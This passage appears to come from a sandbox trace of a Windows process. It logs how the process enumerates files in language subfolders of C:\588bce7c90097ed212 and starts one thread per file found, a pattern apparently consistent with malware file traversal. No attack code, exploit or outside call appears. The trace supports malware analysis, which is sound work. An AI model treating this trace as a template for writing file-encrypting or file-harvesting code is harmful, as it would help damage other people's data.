_String2="..") returned 1 [0062.367] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x33e82c0 [0062.367] wcscpy (in: _Dest=0x33e82c0, _Source="C:\\588bce7c90097ed212\\1055" | out: _Dest="C:\\588bce7c90097ed212\\1055") returned="C:\\588bce7c90097ed212\\1055" [0062.367] wcscat (in: _Dest=0x33e82c0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1055\\") returned="C:\\588bce7c90097ed212\\1055\\" [0062.367] wcscat (in: _Dest=0x33e82c0, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" [0062.367] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e82c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ec [0062.368] FindNextFileW (in: hFindFile=0x3433828, lpFindFileData=0x342dd98 | out: lpFindFileData=0x342dd98*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0062.368] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0062.368] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0062.368] FindNextFileW (in: hFindFile=0x3433828, lpFindFileData=0x342dd98 | out: lpFindFileData=0x342dd98*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0062.368] FindClose (in: hFindFile=0x3433828 | out: hFindFile=0x3433828) returned 1 [0062.368] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dd98) returned 1 [0062.368] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fdaa8) returned 1 [0062.368] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e0418) returned 1 [0062.368] RtlExitUserThread (Status=0x0) Thread: id = 53 os_tid = 0xb80 [0060.312] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fd940 [0060.312] wcscpy (in: _Dest=0x33fd940, _Source="C:\\588bce7c90097ed212\\2052" | out: _Dest="C:\\588bce7c90097ed212\\2052") returned="C:\\588bce7c90097ed212\\2052" [0060.312] wcscat (in: _Dest=0x33fd940, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\2052\\") returned="C:\\588bce7c90097ed212\\2052\\" [0060.312] wcscat (in: _Dest=0x33fd940, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\2052\\*") returned="C:\\588bce7c90097ed212\\2052\\*" [0060.312] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342e000 [0060.312] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x342e000 | out: lpFindFileData=0x342e000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433ae8 [0060.313] wcscmp (_String1=".", _String2=".") returned 0 [0060.313] FindNextFileW (in: hFindFile=0x3433ae8, lpFindFileData=0x342e000 | out: lpFindFileData=0x342e000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.313] wcscmp (_String1="..", _String2=".") returned 1 [0060.313] wcscmp (_String1="..", _String2="..") returned 0 [0060.313] FindNextFileW (in: hFindFile=0x3433ae8, lpFindFileData=0x342e000 | out: lpFindFileData=0x342e000*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0060.313] wcscmp (_String1="eula.rtf", _String2=".") returned 1 [0060.313] wcscmp (_String1="eula.rtf", _String2="..") returned 1 [0060.313] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x33fa878 [0060.313] wcscpy (in: _Dest=0x33fa878, _Source="C:\\588bce7c90097ed212\\2052" | out: _Dest="C:\\588bce7c90097ed212\\2052") returned="C:\\588bce7c90097ed212\\2052" [0060.313] wcscat (in: _Dest=0x33fa878, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\2052\\") returned="C:\\588bce7c90097ed212\\2052\\" [0060.313] wcscat (in: _Dest=0x33fa878, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned="C:\\588bce7c90097ed212\\2052\\eula.rtf" [0062.360] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fa878, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x57c [0062.361] FindNextFileW (in: hFindFile=0x3433ae8, lpFindFileData=0x342e000 | out: lpFindFileData=0x342e000*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0062.361] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1 [0062.361] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1 [0062.361] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x33e8188 [0062.361] wcscpy (in: _Dest=0x33e8188, _Source="C:\\588bce7c90097ed212\\2052" | out: _Dest="C:\\588bce7c90097ed212\\2052") returned="C:\\588bce7c90097ed212\\2052" [0062.361] wcscat (in: _Dest=0x33e8188, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\2052\\") returned="C:\\588bce7c90097ed212\\2052\\" [0062.361] wcscat (in: _Dest=0x33e8188, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" [0062.361] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e8188, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e4 [0062.362] FindNextFileW (in: hFindFile=0x3433ae8, lpFindFileData=0x342e000 | out: lpFindFileData=0x342e000*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0062.362] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0062.362] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0062.362] FindNextFileW (in: hFindFile=0x3433ae8, lpFindFileData=0x342e000 | out: lpFindFileData=0x342e000*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0062.362] FindClose (in: hFindFile=0x3433ae8 | out: hFindFile=0x3433ae8) returned 1 [0062.362] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e000) returned 1 [0062.362] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd940) returned 1 [0062.362] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e0018) returned 1 [0062.362] RtlExitUserThread (Status=0x0) Thread: id = 54 os_tid = 0xed0 [0060.313] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fd700 [0060.313] wcscpy (in: _Dest=0x33fd700, _Source="C:\\588bce7c90097ed212\\2070" | out: _Dest="C:\\588bce7c90097ed212\\2070") returned="C:\\588bce7c90097ed212\\2070" [0060.313] wcscat (in: _Dest=0x33fd700, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\2070\\") returned="C:\\588bce7c90097ed212\\2070\\" [0060.313] wcscat (in: _Dest=0x33fd700, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\2070\\*") returned="C:\\588bce7c90097ed212\\2070\\*" [0060.313] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3454d38 [0060.313] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x3454d38 | out: lpFindFileData=0x3454d38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433be8 [0060.314] wcscmp (_String1=".", _String2=".") returned 0 [0060.314] FindNextFileW (in: hFindFile=0x3433be8, lpFindFileData=0x3454d38 | out: lpFindFileData=0x3454d38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.314] wcscmp (_String1="..", _String2=".") returned 1 [0060.314] wcscmp (_String1="..", _String2="..") returned 0 [0060.314] FindNextFileW (in: hFindFile=0x3433be8, lpFindFileData=0x3454d38 | out: lpFindFileData=0x3454d38*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0060.314] wcscmp (_String1="eula.rtf", _String2=".") returned 1 [0060.314] wcscmp (_String1="eula.rtf", _String2="..") returned 1 [0060.314] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x33fa8c8 [0060.314] wcscpy (in: _Dest=0x33fa8c8, _Source="C:\\588bce7c90097ed212\\2070" | out: _Dest="C:\\588bce7c90097ed212\\2070") returned="C:\\588bce7c90097ed212\\2070" [0060.314] wcscat (in: _Dest=0x33fa8c8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\2070\\") returned="C:\\588bce7c90097ed212\\2070\\" [0060.314] wcscat (in: _Dest=0x33fa8c8, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned="C:\\588bce7c90097ed212\\2070\\eula.rtf" [0062.357] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fa8c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x580 [0062.358] FindNextFileW (in: hFindFile=0x3433be8, lpFindFileData=0x3454d38 | out: lpFindFileData=0x3454d38*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0062.358] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1 [0062.358] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1 [0062.358] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x33e88d8 [0062.358] wcscpy (in: _Dest=0x33e88d8, _Source="C:\\588bce7c90097ed212\\2070" | out: _Dest="C:\\588bce7c90097ed212\\2070") returned="C:\\588bce7c90097ed212\\2070" [0062.358] wcscat (in: _Dest=0x33e88d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\2070\\") returned="C:\\588bce7c90097ed212\\2070\\" [0062.358] wcscat (in: _Dest=0x33e88d8, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" [0062.359] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e88d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e0 [0062.359] FindNextFileW (in: hFindFile=0x3433be8, lpFindFileData=0x3454d38 | out: lpFindFileData=0x3454d38*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0062.359] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0062.359] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0062.359] FindNextFileW (in: hFindFile=0x3433be8, lpFindFileData=0x3454d38 | out: lpFindFileData=0x3454d38*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0062.359] FindClose (in: hFindFile=0x3433be8 | out: hFindFile=0x3433be8) returned 1 [0062.359] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3454d38) returned 1 [0062.360] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd700) returned 1 [0062.360] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e0158) returned 1 [0062.360] RtlExitUserThread (Status=0x0) Thread: id = 55 os_tid = 0x824 [0060.314] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fd550 [0060.314] wcscpy (in: _Dest=0x33fd550, _Source="C:\\588bce7c90097ed212\\3076" | out: _Dest="C:\\588bce7c90097ed212\\3076") returned="C:\\588bce7c90097ed212\\3076" [0060.314] wcscat (in: _Dest=0x33fd550, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\3076\\") returned="C:\\588bce7c90097ed212\\3076\\" [0060.314] wcscat (in: _Dest=0x33fd550, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\3076\\*") returned="C:\\588bce7c90097ed212\\3076\\*" [0060.314] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3454fa0 [0060.314] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x3454fa0 | out: lpFindFileData=0x3454fa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433c28 [0060.315] wcscmp (_String1=".", _String2=".") returned 0 [0060.315] FindNextFileW (in: hFindFile=0x3433c28, lpFindFileData=0x3454fa0 | out: lpFindFileData=0x3454fa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.315] wcscmp (_String1="..", _String2=".") returned 1 [0060.315] wcscmp (_String1="..", _String2="..") returned 0 [0060.315] FindNextFileW (in: hFindFile=0x3433c28, lpFindFileData=0x3454fa0 | out: lpFindFileData=0x3454fa0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0060.315] wcscmp (_String1="eula.rtf", _String2=".") returned 1 [0060.315] wcscmp (_String1="eula.rtf", _String2="..") returned 1 [0060.315] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x33fa378 [0060.315] wcscpy (in: _Dest=0x33fa378, _Source="C:\\588bce7c90097ed212\\3076" | out: _Dest="C:\\588bce7c90097ed212\\3076") returned="C:\\588bce7c90097ed212\\3076" [0060.315] wcscat (in: _Dest=0x33fa378, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\3076\\") returned="C:\\588bce7c90097ed212\\3076\\" [0060.315] wcscat (in: _Dest=0x33fa378, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned="C:\\588bce7c90097ed212\\3076\\eula.rtf" [0062.354] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fa378, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588 [0062.355] FindNextFileW (in: hFindFile=0x3433c28, lpFindFileData=0x3454fa0 | out: lpFindFileData=0x3454fa0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0062.355] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1 [0062.355] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1 [0062.355] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x33e8808 [0062.355] wcscpy (in: _Dest=0x33e8808, _Source="C:\\588bce7c90097ed212\\3076" | out: _Dest="C:\\588bce7c90097ed212\\3076") returned="C:\\588bce7c90097ed212\\3076" [0062.355] wcscat (in: _Dest=0x33e8808, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\3076\\") returned="C:\\588bce7c90097ed212\\3076\\" [0062.355] wcscat (in: _Dest=0x33e8808, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" [0062.355] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e8808, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5dc [0062.356] FindNextFileW (in: hFindFile=0x3433c28, lpFindFileData=0x3454fa0 | out: lpFindFileData=0x3454fa0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0062.356] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0062.356] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0062.356] FindNextFileW (in: hFindFile=0x3433c28, lpFindFileData=0x3454fa0 | out: lpFindFileData=0x3454fa0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0062.356] FindClose (in: hFindFile=0x3433c28 | out: hFindFile=0x3433c28) returned 1 [0062.356] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3454fa0) returned 1 [0062.356] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd550) returned 1 [0062.356] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e0318) returned 1 [0062.356] RtlExitUserThread (Status=0x0) Thread: id = 56 os_tid = 0x8e8 [0060.315] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fd748 [0060.315] wcscpy (in: _Dest=0x33fd748, _Source="C:\\588bce7c90097ed212\\3082" | out: _Dest="C:\\588bce7c90097ed212\\3082") returned="C:\\588bce7c90097ed212\\3082" [0060.315] wcscat (in: _Dest=0x33fd748, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\3082\\") returned="C:\\588bce7c90097ed212\\3082\\" [0060.315] wcscat (in: _Dest=0x33fd748, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\3082\\*") returned="C:\\588bce7c90097ed212\\3082\\*" [0060.315] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3451ab0 [0060.315] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x3451ab0 | out: lpFindFileData=0x3451ab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433928 [0060.332] wcscmp (_String1=".", _String2=".") returned 0 [0060.332] FindNextFileW (in: hFindFile=0x3433928, lpFindFileData=0x3451ab0 | out: lpFindFileData=0x3451ab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.335] wcscmp (_String1="..", _String2=".") returned 1 [0060.335] wcscmp (_String1="..", _String2="..") returned 0 [0060.335] FindNextFileW (in: hFindFile=0x3433928, lpFindFileData=0x3451ab0 | out: lpFindFileData=0x3451ab0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0060.335] wcscmp (_String1="eula.rtf", _String2=".") returned 1 [0060.335] wcscmp (_String1="eula.rtf", _String2="..") returned 1 [0060.335] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x33fa0f8 [0060.335] wcscpy (in: _Dest=0x33fa0f8, _Source="C:\\588bce7c90097ed212\\3082" | out: _Dest="C:\\588bce7c90097ed212\\3082") returned="C:\\588bce7c90097ed212\\3082" [0060.335] wcscat (in: _Dest=0x33fa0f8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\3082\\") returned="C:\\588bce7c90097ed212\\3082\\" [0060.335] wcscat (in: _Dest=0x33fa0f8, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned="C:\\588bce7c90097ed212\\3082\\eula.rtf" [0062.346] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fa0f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x594 [0062.347] FindNextFileW (in: hFindFile=0x3433928, lpFindFileData=0x3451ab0 | out: lpFindFileData=0x3451ab0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, 